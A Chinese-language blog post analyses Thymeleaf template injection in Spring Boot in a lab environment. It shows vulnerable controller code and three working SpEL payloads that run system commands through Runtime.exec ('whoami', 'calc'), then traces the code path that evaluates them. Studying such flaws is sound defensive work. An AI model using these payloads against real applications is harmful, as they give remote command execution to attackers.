参考
https://www.cnblogs.com/CoLo/p/15507738.html#0x02-selector
Thymeleaf是SpringBoot中的一个模版引擎,负责渲染前端页面。
之前写JavaWeb和SSM的时候,前端页面可能会用JSP写,但是因为之前项目都是war包部署,而SpringBoot都是jar包且内嵌tomcat,所以是不支持解析jsp文件的。但是如果是编写纯静态的html就很不方便,那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面,我们只需要写一个template即可。这也就是到了SpringBoot为什么官方推荐要使用Thymeleaf处理前端页面了。
但是当spring是api写的时候就没有这个东西,只要spring当web的时候才有
漏洞环境
https://github.com/veracode-research/spring-view-manipulation/
Thymeleaf中的表达式
变量表达式: ${...} 选择变量表达式: *{...} 消息表达: #{...} 链接 URL 表达式: @{...} 1
核心代码如下
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
漏洞案例1
正常请求
使用payload执行命令
http://127.0.0.1:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
调试分析
我们直接看到spring处理用户请求开始的地方
1跟进开始处理用户请求
springframework\spring-webmvc\5.2.0.RELEASE\spring-webmvc-5.2.0.RELEASE.jar!\org\springframework\web\servlet\ModelAndViewDefiningException.class
中间走了一些filter操作
然后在\springframework\spring-webmvc\5.2.0.RELEASE\spring-webmvc-5.2.0.RELEASE.jar!\org\springframework\web\servlet\mvc\method\annotation\ServletInvocableHandlerMethod.class中处理lang获取路由返回给模板,然后模板处理返回给用户
\repository\org\springframework\spring-webmvc\5.2.0.RELEASE\spring-webmvc-5.2.0.RELEASE.jar!\org\springframework\web\servlet\mvc\method\annotation\RequestMappingHandlerAdapter.class的
getModelAndView把处理到的view和modle防在mav里面返回
最后调用org\springframework\spring-webmvc\5.2.0.RELEASE\spring-webmvc-5.2.0.RELEASE.jar!\org\springframework\web\servlet\DispatcherServlet.class
processDispatchResult的方法交给
ThymeleafView处理这里 这里TemplateName可控
之后调用
org.thymeleaf.standard.expression.StandardExpressionPreprocessor
正则处理后得${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}到然后执行expression.execute
到最后看见调用SpringEL表达式处理this.expriessionText
spel参考
https://www.kingkk.com/2019/05/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5-%E5%85%A5%E9%97%A8%E7%AF%87/
漏洞案例2
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
GET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1 Host: 192.168.3.156:8090 Connection: close
这里没有回显因为没有return而且return值不能和请求路径一样(问的晓堂师傅.jpg)
漏洞案例3
漏洞payload
GET /fragment/?section=$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d HTTP/1.1 Host: 192.168.3.156:8090 Connection: close
漏洞代码
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
这里能成功执行是因为
thymeleaf 会将 templatename 、selector 分别作为表达式执行
所以直接传入spel即可
参考
https://www.freebuf.com/articles/network/250026.html